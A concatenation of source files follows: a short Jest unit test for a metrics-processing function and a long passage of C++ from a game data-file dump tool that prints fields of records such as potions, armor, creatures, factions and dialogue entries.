<Orderable>true</Orderable> <Visible>false</Visible> </Granule>
{ "pile_set_name": "Github" }
import getProcessMetricsFunction from '../src/processMetrics'; describe('processData', () => { const processMetrics = getProcessMetricsFunction(); const records = [ { a: 1, '%b': 0.4, c: 3, }, { a: 2, '%b': 0.4, c: 2, }, { a: 3, '%b': 0.2, c: 1, }, ]; const metrics = ['a']; const percentMetrics = ['b']; it('returns sorted result', () => { const result = processMetrics({ records, metrics, percentMetrics, }); const expected = ['a', '%b']; expect(result).toEqual(expect.arrayContaining(expected)); }); });
{ "pile_set_name": "Github" }
#include "record.hpp" #include "labels.hpp" #include <iostream> #include <sstream> #include <components/misc/stringops.hpp> namespace { void printAIPackage(const ESM::AIPackage& p) { std::cout << " AI Type: " << aiTypeLabel(p.mType) << " (" << Misc::StringUtils::format("0x%08X", p.mType) << ")" << std::endl; if (p.mType == ESM::AI_Wander) { std::cout << " Distance: " << p.mWander.mDistance << std::endl; std::cout << " Duration: " << p.mWander.mDuration << std::endl; std::cout << " Time of Day: " << (int)p.mWander.mTimeOfDay << std::endl; if (p.mWander.mShouldRepeat != 1) std::cout << " Should repeat: " << (bool)(p.mWander.mShouldRepeat != 0) << std::endl; std::cout << " Idle: "; for (int i = 0; i != 8; i++) std::cout << (int)p.mWander.mIdle[i] << " "; std::cout << std::endl; } else if (p.mType == ESM::AI_Travel) { std::cout << " Travel Coordinates: (" << p.mTravel.mX << "," << p.mTravel.mY << "," << p.mTravel.mZ << ")" << std::endl; std::cout << " Travel Unknown: " << p.mTravel.mUnk << std::endl; } else if (p.mType == ESM::AI_Follow || p.mType == ESM::AI_Escort) { std::cout << " Follow Coordinates: (" << p.mTarget.mX << "," << p.mTarget.mY << "," << p.mTarget.mZ << ")" << std::endl; std::cout << " Duration: " << p.mTarget.mDuration << std::endl; std::cout << " Target ID: " << p.mTarget.mId.toString() << std::endl; std::cout << " Unknown: " << p.mTarget.mUnk << std::endl; } else if (p.mType == ESM::AI_Activate) { std::cout << " Name: " << p.mActivate.mName.toString() << std::endl; std::cout << " Activate Unknown: " << p.mActivate.mUnk << std::endl; } else { std::cout << " BadPackage: " << Misc::StringUtils::format("0x%08X", p.mType) << std::endl; } if (!p.mCellName.empty()) std::cout << " Cell Name: " << p.mCellName << std::endl; } std::string ruleString(const ESM::DialInfo::SelectStruct& ss) { std::string rule = ss.mSelectRule; if (rule.length() < 5) return "INVALID"; char type = rule[1]; char indicator = rule[2]; std::string type_str = "INVALID"; std::string func_str = Misc::StringUtils::format("INVALID=%s", rule.substr(1,3)); int func; std::istringstream iss(rule.substr(2,2)); iss >> func; switch(type) { case '1': type_str = "Function"; func_str = ruleFunction(func); break; case '2': if (indicator == 's') type_str = "Global short"; else if (indicator == 'l') type_str = "Global long"; else if (indicator == 'f') type_str = "Global float"; break; case '3': if (indicator == 's') type_str = "Local short"; else if (indicator == 'l') type_str = "Local long"; else if (indicator == 'f') type_str = "Local float"; break; case '4': if (indicator == 'J') type_str = "Journal"; break; case '5': if (indicator == 'I') type_str = "Item type"; break; case '6': if (indicator == 'D') type_str = "NPC Dead"; break; case '7': if (indicator == 'X') type_str = "Not ID"; break; case '8': if (indicator == 'F') type_str = "Not Faction"; break; case '9': if (indicator == 'C') type_str = "Not Class"; break; case 'A': if (indicator == 'R') type_str = "Not Race"; break; case 'B': if (indicator == 'L') type_str = "Not Cell"; break; case 'C': if (indicator == 's') type_str = "Not Local"; break; default: break; } // Append the variable name to the function string if any. if (type != '1') func_str = rule.substr(5); // In the previous switch, we assumed that the second char was X // for all types not qual to one. If this wasn't true, go back to // the error message. if (type != '1' && rule[3] != 'X') func_str = Misc::StringUtils::format("INVALID=%s", rule.substr(1,3)); char oper = rule[4]; std::string oper_str = "??"; switch (oper) { case '0': oper_str = "=="; break; case '1': oper_str = "!="; break; case '2': oper_str = "> "; break; case '3': oper_str = ">="; break; case '4': oper_str = "< "; break; case '5': oper_str = "<="; break; default: break; } std::ostringstream stream; stream << ss.mValue; std::string result = Misc::StringUtils::format("%-12s %-32s %2s %s", type_str, func_str, oper_str, stream.str()); return result; } void printEffectList(const ESM::EffectList& effects) { int i = 0; for (const ESM::ENAMstruct& effect : effects.mList) { std::cout << " Effect[" << i << "]: " << magicEffectLabel(effect.mEffectID) << " (" << effect.mEffectID << ")" << std::endl; if (effect.mSkill != -1) std::cout << " Skill: " << skillLabel(effect.mSkill) << " (" << (int)effect.mSkill << ")" << std::endl; if (effect.mAttribute != -1) std::cout << " Attribute: " << attributeLabel(effect.mAttribute) << " (" << (int)effect.mAttribute << ")" << std::endl; std::cout << " Range: " << rangeTypeLabel(effect.mRange) << " (" << effect.mRange << ")" << std::endl; // Area is always zero if range type is "Self" if (effect.mRange != ESM::RT_Self) std::cout << " Area: " << effect.mArea << std::endl; std::cout << " Duration: " << effect.mDuration << std::endl; std::cout << " Magnitude: " << effect.mMagnMin << "-" << effect.mMagnMax << std::endl; i++; } } void printTransport(const std::vector<ESM::Transport::Dest>& transport) { for (const ESM::Transport::Dest& dest : transport) { std::cout << " Destination Position: " << Misc::StringUtils::format("%12.3f", dest.mPos.pos[0]) << "," << Misc::StringUtils::format("%12.3f", dest.mPos.pos[1]) << "," << Misc::StringUtils::format("%12.3f", dest.mPos.pos[2]) << ")" << std::endl; std::cout << " Destination Rotation: " << Misc::StringUtils::format("%9.6f", dest.mPos.rot[0]) << "," << Misc::StringUtils::format("%9.6f", dest.mPos.rot[1]) << "," << Misc::StringUtils::format("%9.6f", dest.mPos.rot[2]) << ")" << std::endl; if (!dest.mCellName.empty()) std::cout << " Destination Cell: " << dest.mCellName << std::endl; } } } namespace EsmTool { RecordBase * RecordBase::create(ESM::NAME type) { RecordBase *record = nullptr; switch (type.intval) { case ESM::REC_ACTI: { record = new EsmTool::Record<ESM::Activator>; break; } case ESM::REC_ALCH: { record = new EsmTool::Record<ESM::Potion>; break; } case ESM::REC_APPA: { record = new EsmTool::Record<ESM::Apparatus>; break; } case ESM::REC_ARMO: { record = new EsmTool::Record<ESM::Armor>; break; } case ESM::REC_BODY: { record = new EsmTool::Record<ESM::BodyPart>; break; } case ESM::REC_BOOK: { record = new EsmTool::Record<ESM::Book>; break; } case ESM::REC_BSGN: { record = new EsmTool::Record<ESM::BirthSign>; break; } case ESM::REC_CELL: { record = new EsmTool::Record<ESM::Cell>; break; } case ESM::REC_CLAS: { record = new EsmTool::Record<ESM::Class>; break; } case ESM::REC_CLOT: { record = new EsmTool::Record<ESM::Clothing>; break; } case ESM::REC_CONT: { record = new EsmTool::Record<ESM::Container>; break; } case ESM::REC_CREA: { record = new EsmTool::Record<ESM::Creature>; break; } case ESM::REC_DIAL: { record = new EsmTool::Record<ESM::Dialogue>; break; } case ESM::REC_DOOR: { record = new EsmTool::Record<ESM::Door>; break; } case ESM::REC_ENCH: { record = new EsmTool::Record<ESM::Enchantment>; break; } case ESM::REC_FACT: { record = new EsmTool::Record<ESM::Faction>; break; } case ESM::REC_GLOB: { record = new EsmTool::Record<ESM::Global>; break; } case ESM::REC_GMST: { record = new EsmTool::Record<ESM::GameSetting>; break; } case ESM::REC_INFO: { record = new EsmTool::Record<ESM::DialInfo>; break; } case ESM::REC_INGR: { record = new EsmTool::Record<ESM::Ingredient>; break; } case ESM::REC_LAND: { record = new EsmTool::Record<ESM::Land>; break; } case ESM::REC_LEVI: { record = new EsmTool::Record<ESM::ItemLevList>; break; } case ESM::REC_LEVC: { record = new EsmTool::Record<ESM::CreatureLevList>; break; } case ESM::REC_LIGH: { record = new EsmTool::Record<ESM::Light>; break; } case ESM::REC_LOCK: { record = new EsmTool::Record<ESM::Lockpick>; break; } case ESM::REC_LTEX: { record = new EsmTool::Record<ESM::LandTexture>; break; } case ESM::REC_MISC: { record = new EsmTool::Record<ESM::Miscellaneous>; break; } case ESM::REC_MGEF: { record = new EsmTool::Record<ESM::MagicEffect>; break; } case ESM::REC_NPC_: { record = new EsmTool::Record<ESM::NPC>; break; } case ESM::REC_PGRD: { record = new EsmTool::Record<ESM::Pathgrid>; break; } case ESM::REC_PROB: { record = new EsmTool::Record<ESM::Probe>; break; } case ESM::REC_RACE: { record = new EsmTool::Record<ESM::Race>; break; } case ESM::REC_REGN: { record = new EsmTool::Record<ESM::Region>; break; } case ESM::REC_REPA: { record = new EsmTool::Record<ESM::Repair>; break; } case ESM::REC_SCPT: { record = new EsmTool::Record<ESM::Script>; break; } case ESM::REC_SKIL: { record = new EsmTool::Record<ESM::Skill>; break; } case ESM::REC_SNDG: { record = new EsmTool::Record<ESM::SoundGenerator>; break; } case ESM::REC_SOUN: { record = new EsmTool::Record<ESM::Sound>; break; } case ESM::REC_SPEL: { record = new EsmTool::Record<ESM::Spell>; break; } case ESM::REC_STAT: { record = new EsmTool::Record<ESM::Static>; break; } case ESM::REC_WEAP: { record = new EsmTool::Record<ESM::Weapon>; break; } case ESM::REC_SSCR: { record = new EsmTool::Record<ESM::StartScript>; break; } default: record = nullptr; } if (record) { record->mType = type; } return record; } template<> void Record<ESM::Activator>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Potion>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " AutoCalc: " << mData.mData.mAutoCalc << std::endl; printEffectList(mData.mEffects); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Armor>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; if (!mData.mEnchant.empty()) std::cout << " Enchantment: " << mData.mEnchant << std::endl; std::cout << " Type: " << armorTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Health: " << mData.mData.mHealth << std::endl; std::cout << " Armor: " << mData.mData.mArmor << std::endl; std::cout << " Enchantment Points: " << mData.mData.mEnchant << std::endl; for (const ESM::PartReference &part : mData.mParts.mParts) { std::cout << " Body Part: " << bodyPartLabel(part.mPart) << " (" << (int)(part.mPart) << ")" << std::endl; std::cout << " Male Name: " << part.mMale << std::endl; if (!part.mFemale.empty()) std::cout << " Female Name: " << part.mFemale << std::endl; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Apparatus>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Type: " << apparatusTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Quality: " << mData.mData.mQuality << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::BodyPart>::print() { std::cout << " Race: " << mData.mRace << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Type: " << meshTypeLabel(mData.mData.mType) << " (" << (int)mData.mData.mType << ")" << std::endl; std::cout << " Flags: " << bodyPartFlags(mData.mData.mFlags) << std::endl; std::cout << " Part: " << meshPartLabel(mData.mData.mPart) << " (" << (int)mData.mData.mPart << ")" << std::endl; std::cout << " Vampire: " << (int)mData.mData.mVampire << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Book>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; if (!mData.mEnchant.empty()) std::cout << " Enchantment: " << mData.mEnchant << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " IsScroll: " << mData.mData.mIsScroll << std::endl; std::cout << " SkillId: " << mData.mData.mSkillId << std::endl; std::cout << " Enchantment Points: " << mData.mData.mEnchant << std::endl; if (mPrintPlain) { std::cout << " Text:" << std::endl; std::cout << "START--------------------------------------" << std::endl; std::cout << mData.mText << std::endl; std::cout << "END----------------------------------------" << std::endl; } else { std::cout << " Text: [skipped]" << std::endl; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::BirthSign>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Texture: " << mData.mTexture << std::endl; std::cout << " Description: " << mData.mDescription << std::endl; for (const std::string &power : mData.mPowers.mList) std::cout << " Power: " << power << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Cell>::print() { // None of the cells have names... if (!mData.mName.empty()) std::cout << " Name: " << mData.mName << std::endl; if (!mData.mRegion.empty()) std::cout << " Region: " << mData.mRegion << std::endl; std::cout << " Flags: " << cellFlags(mData.mData.mFlags) << std::endl; std::cout << " Coordinates: " << " (" << mData.getGridX() << "," << mData.getGridY() << ")" << std::endl; if (mData.mData.mFlags & ESM::Cell::Interior && !(mData.mData.mFlags & ESM::Cell::QuasiEx)) { if (mData.hasAmbient()) { // TODO: see if we can change the integer representation to something more sensible std::cout << " Ambient Light Color: " << mData.mAmbi.mAmbient << std::endl; std::cout << " Sunlight Color: " << mData.mAmbi.mSunlight << std::endl; std::cout << " Fog Color: " << mData.mAmbi.mFog << std::endl; std::cout << " Fog Density: " << mData.mAmbi.mFogDensity << std::endl; } else { std::cout << " No Ambient Information" << std::endl; } std::cout << " Water Level: " << mData.mWater << std::endl; } else std::cout << " Map Color: " << Misc::StringUtils::format("0x%08X", mData.mMapColor) << std::endl; std::cout << " Water Level Int: " << mData.mWaterInt << std::endl; std::cout << " RefId counter: " << mData.mRefNumCounter << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Class>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Description: " << mData.mDescription << std::endl; std::cout << " Playable: " << mData.mData.mIsPlayable << std::endl; std::cout << " AutoCalc: " << mData.mData.mCalc << std::endl; std::cout << " Attribute1: " << attributeLabel(mData.mData.mAttribute[0]) << " (" << mData.mData.mAttribute[0] << ")" << std::endl; std::cout << " Attribute2: " << attributeLabel(mData.mData.mAttribute[1]) << " (" << mData.mData.mAttribute[1] << ")" << std::endl; std::cout << " Specialization: " << specializationLabel(mData.mData.mSpecialization) << " (" << mData.mData.mSpecialization << ")" << std::endl; for (int i = 0; i != 5; i++) std::cout << " Minor Skill: " << skillLabel(mData.mData.mSkills[i][0]) << " (" << mData.mData.mSkills[i][0] << ")" << std::endl; for (int i = 0; i != 5; i++) std::cout << " Major Skill: " << skillLabel(mData.mData.mSkills[i][1]) << " (" << mData.mData.mSkills[i][1] << ")" << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Clothing>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; if (!mData.mEnchant.empty()) std::cout << " Enchantment: " << mData.mEnchant << std::endl; std::cout << " Type: " << clothingTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Enchantment Points: " << mData.mData.mEnchant << std::endl; for (const ESM::PartReference &part : mData.mParts.mParts) { std::cout << " Body Part: " << bodyPartLabel(part.mPart) << " (" << (int)(part.mPart) << ")" << std::endl; std::cout << " Male Name: " << part.mMale << std::endl; if (!part.mFemale.empty()) std::cout << " Female Name: " << part.mFemale << std::endl; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Container>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Flags: " << containerFlags(mData.mFlags) << std::endl; std::cout << " Weight: " << mData.mWeight << std::endl; for (const ESM::ContItem &item : mData.mInventory.mList) std::cout << " Inventory: Count: " << Misc::StringUtils::format("%4d", item.mCount) << " Item: " << item.mItem << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Creature>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Flags: " << creatureFlags((int)mData.mFlags) << std::endl; std::cout << " Blood Type: " << mData.mBloodType+1 << std::endl; std::cout << " Original: " << mData.mOriginal << std::endl; std::cout << " Scale: " << mData.mScale << std::endl; std::cout << " Type: " << creatureTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Level: " << mData.mData.mLevel << std::endl; std::cout << " Attributes:" << std::endl; std::cout << " Strength: " << mData.mData.mStrength << std::endl; std::cout << " Intelligence: " << mData.mData.mIntelligence << std::endl; std::cout << " Willpower: " << mData.mData.mWillpower << std::endl; std::cout << " Agility: " << mData.mData.mAgility << std::endl; std::cout << " Speed: " << mData.mData.mSpeed << std::endl; std::cout << " Endurance: " << mData.mData.mEndurance << std::endl; std::cout << " Personality: " << mData.mData.mPersonality << std::endl; std::cout << " Luck: " << mData.mData.mLuck << std::endl; std::cout << " Health: " << mData.mData.mHealth << std::endl; std::cout << " Magicka: " << mData.mData.mMana << std::endl; std::cout << " Fatigue: " << mData.mData.mFatigue << std::endl; std::cout << " Soul: " << mData.mData.mSoul << std::endl; std::cout << " Combat: " << mData.mData.mCombat << std::endl; std::cout << " Magic: " << mData.mData.mMagic << std::endl; std::cout << " Stealth: " << mData.mData.mStealth << std::endl; std::cout << " Attack1: " << mData.mData.mAttack[0] << "-" << mData.mData.mAttack[1] << std::endl; std::cout << " Attack2: " << mData.mData.mAttack[2] << "-" << mData.mData.mAttack[3] << std::endl; std::cout << " Attack3: " << mData.mData.mAttack[4] << "-" << mData.mData.mAttack[5] << std::endl; std::cout << " Gold: " << mData.mData.mGold << std::endl; for (const ESM::ContItem &item : mData.mInventory.mList) std::cout << " Inventory: Count: " << Misc::StringUtils::format("%4d", item.mCount) << " Item: " << item.mItem << std::endl; for (const std::string &spell : mData.mSpells.mList) std::cout << " Spell: " << spell << std::endl; printTransport(mData.getTransport()); std::cout << " Artificial Intelligence: " << std::endl; std::cout << " AI Hello:" << (int)mData.mAiData.mHello << std::endl; std::cout << " AI Fight:" << (int)mData.mAiData.mFight << std::endl; std::cout << " AI Flee:" << (int)mData.mAiData.mFlee << std::endl; std::cout << " AI Alarm:" << (int)mData.mAiData.mAlarm << std::endl; std::cout << " AI U1:" << (int)mData.mAiData.mU1 << std::endl; std::cout << " AI U2:" << (int)mData.mAiData.mU2 << std::endl; std::cout << " AI U3:" << (int)mData.mAiData.mU3 << std::endl; std::cout << " AI Services:" << Misc::StringUtils::format("0x%08X", mData.mAiData.mServices) << std::endl; for (const ESM::AIPackage &package : mData.mAiPackage.mList) printAIPackage(package); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Dialogue>::print() { std::cout << " Type: " << dialogTypeLabel(mData.mType) << " (" << (int)mData.mType << ")" << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; // Sadly, there are no DialInfos, because the loader dumps as it // loads, rather than loading and then dumping. :-( Anyone mind if // I change this? for (const ESM::DialInfo &info : mData.mInfo) std::cout << "INFO!" << info.mId << std::endl; } template<> void Record<ESM::Door>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Script: " << mData.mScript << std::endl; std::cout << " OpenSound: " << mData.mOpenSound << std::endl; std::cout << " CloseSound: " << mData.mCloseSound << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Enchantment>::print() { std::cout << " Type: " << enchantTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Cost: " << mData.mData.mCost << std::endl; std::cout << " Charge: " << mData.mData.mCharge << std::endl; std::cout << " Flags: " << enchantmentFlags(mData.mData.mFlags) << std::endl; printEffectList(mData.mEffects); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Faction>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Hidden: " << mData.mData.mIsHidden << std::endl; std::cout << " Attribute1: " << attributeLabel(mData.mData.mAttribute[0]) << " (" << mData.mData.mAttribute[0] << ")" << std::endl; std::cout << " Attribute2: " << attributeLabel(mData.mData.mAttribute[1]) << " (" << mData.mData.mAttribute[1] << ")" << std::endl; for (int skill : mData.mData.mSkills) if (skill != -1) std::cout << " Skill: " << skillLabel(skill) << " (" << skill << ")" << std::endl; for (int i = 0; i != 10; i++) if (!mData.mRanks[i].empty()) { std::cout << " Rank: " << mData.mRanks[i] << std::endl; std::cout << " Attribute1 Requirement: " << mData.mData.mRankData[i].mAttribute1 << std::endl; std::cout << " Attribute2 Requirement: " << mData.mData.mRankData[i].mAttribute2 << std::endl; std::cout << " One Skill at Level: " << mData.mData.mRankData[i].mPrimarySkill << std::endl; std::cout << " Two Skills at Level: " << mData.mData.mRankData[i].mFavouredSkill << std::endl; std::cout << " Faction Reaction: " << mData.mData.mRankData[i].mFactReaction << std::endl; } for (const auto &reaction : mData.mReactions) std::cout << " Reaction: " << reaction.second << " = " << reaction.first << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Global>::print() { std::cout << " " << mData.mValue << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::GameSetting>::print() { std::cout << " " << mData.mValue << std::endl; } template<> void Record<ESM::DialInfo>::print() { std::cout << " Id: " << mData.mId << std::endl; if (!mData.mPrev.empty()) std::cout << " Previous ID: " << mData.mPrev << std::endl; if (!mData.mNext.empty()) std::cout << " Next ID: " << mData.mNext << std::endl; std::cout << " Text: " << mData.mResponse << std::endl; if (!mData.mActor.empty()) std::cout << " Actor: " << mData.mActor << std::endl; if (!mData.mRace.empty()) std::cout << " Race: " << mData.mRace << std::endl; if (!mData.mClass.empty()) std::cout << " Class: " << mData.mClass << std::endl; std::cout << " Factionless: " << mData.mFactionLess << std::endl; if (!mData.mFaction.empty()) std::cout << " NPC Faction: " << mData.mFaction << std::endl; if (mData.mData.mRank != -1) std::cout << " NPC Rank: " << (int)mData.mData.mRank << std::endl; if (!mData.mPcFaction.empty()) std::cout << " PC Faction: " << mData.mPcFaction << std::endl; // CHANGE? non-standard capitalization mPCrank -> mPCRank (mPcRank?) if (mData.mData.mPCrank != -1) std::cout << " PC Rank: " << (int)mData.mData.mPCrank << std::endl; if (!mData.mCell.empty()) std::cout << " Cell: " << mData.mCell << std::endl; if (mData.mData.mDisposition > 0) std::cout << " Disposition/Journal index: " << mData.mData.mDisposition << std::endl; if (mData.mData.mGender != ESM::DialInfo::NA) std::cout << " Gender: " << mData.mData.mGender << std::endl; if (!mData.mSound.empty()) std::cout << " Sound File: " << mData.mSound << std::endl; std::cout << " Quest Status: " << questStatusLabel(mData.mQuestStatus) << " (" << mData.mQuestStatus << ")" << std::endl; std::cout << " Unknown1: " << mData.mData.mUnknown1 << std::endl; std::cout << " Unknown2: " << (int)mData.mData.mUnknown2 << std::endl; for (const ESM::DialInfo::SelectStruct &rule : mData.mSelects) std::cout << " Select Rule: " << ruleString(rule) << std::endl; if (!mData.mResultScript.empty()) { if (mPrintPlain) { std::cout << " Result Script:" << std::endl; std::cout << "START--------------------------------------" << std::endl; std::cout << mData.mResultScript << std::endl; std::cout << "END----------------------------------------" << std::endl; } else { std::cout << " Result Script: [skipped]" << std::endl; } } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Ingredient>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; for (int i = 0; i !=4; i++) { // A value of -1 means no effect if (mData.mData.mEffectID[i] == -1) continue; std::cout << " Effect: " << magicEffectLabel(mData.mData.mEffectID[i]) << " (" << mData.mData.mEffectID[i] << ")" << std::endl; std::cout << " Skill: " << skillLabel(mData.mData.mSkills[i]) << " (" << mData.mData.mSkills[i] << ")" << std::endl; std::cout << " Attribute: " << attributeLabel(mData.mData.mAttributes[i]) << " (" << mData.mData.mAttributes[i] << ")" << std::endl; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Land>::print() { std::cout << " Coordinates: (" << mData.mX << "," << mData.mY << ")" << std::endl; std::cout << " Flags: " << landFlags(mData.mFlags) << std::endl; std::cout << " DataTypes: " << mData.mDataTypes << std::endl; if (const ESM::Land::LandData *data = mData.getLandData (mData.mDataTypes)) { std::cout << " Height Offset: " << data->mHeightOffset << std::endl; // Lots of missing members. std::cout << " Unknown1: " << data->mUnk1 << std::endl; std::cout << " Unknown2: " << data->mUnk2 << std::endl; } mData.unloadData(); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::CreatureLevList>::print() { std::cout << " Chance for None: " << (int)mData.mChanceNone << std::endl; std::cout << " Flags: " << creatureListFlags(mData.mFlags) << std::endl; std::cout << " Number of items: " << mData.mList.size() << std::endl; for (const ESM::LevelledListBase::LevelItem &item : mData.mList) std::cout << " Creature: Level: " << item.mLevel << " Creature: " << item.mId << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::ItemLevList>::print() { std::cout << " Chance for None: " << (int)mData.mChanceNone << std::endl; std::cout << " Flags: " << itemListFlags(mData.mFlags) << std::endl; std::cout << " Number of items: " << mData.mList.size() << std::endl; for (const ESM::LevelledListBase::LevelItem &item : mData.mList) std::cout << " Inventory: Level: " << item.mLevel << " Item: " << item.mId << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Light>::print() { if (!mData.mName.empty()) std::cout << " Name: " << mData.mName << std::endl; if (!mData.mModel.empty()) std::cout << " Model: " << mData.mModel << std::endl; if (!mData.mIcon.empty()) std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Flags: " << lightFlags(mData.mData.mFlags) << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Sound: " << mData.mSound << std::endl; std::cout << " Duration: " << mData.mData.mTime << std::endl; std::cout << " Radius: " << mData.mData.mRadius << std::endl; std::cout << " Color: " << mData.mData.mColor << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Lockpick>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Quality: " << mData.mData.mQuality << std::endl; std::cout << " Uses: " << mData.mData.mUses << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Probe>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Quality: " << mData.mData.mQuality << std::endl; std::cout << " Uses: " << mData.mData.mUses << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Repair>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Quality: " << mData.mData.mQuality << std::endl; std::cout << " Uses: " << mData.mData.mUses << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::LandTexture>::print() { std::cout << " Id: " << mData.mId << std::endl; std::cout << " Index: " << mData.mIndex << std::endl; std::cout << " Texture: " << mData.mTexture << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::MagicEffect>::print() { std::cout << " Index: " << magicEffectLabel(mData.mIndex) << " (" << mData.mIndex << ")" << std::endl; std::cout << " Description: " << mData.mDescription << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; std::cout << " Flags: " << magicEffectFlags(mData.mData.mFlags) << std::endl; std::cout << " Particle Texture: " << mData.mParticle << std::endl; if (!mData.mCasting.empty()) std::cout << " Casting Static: " << mData.mCasting << std::endl; if (!mData.mCastSound.empty()) std::cout << " Casting Sound: " << mData.mCastSound << std::endl; if (!mData.mBolt.empty()) std::cout << " Bolt Static: " << mData.mBolt << std::endl; if 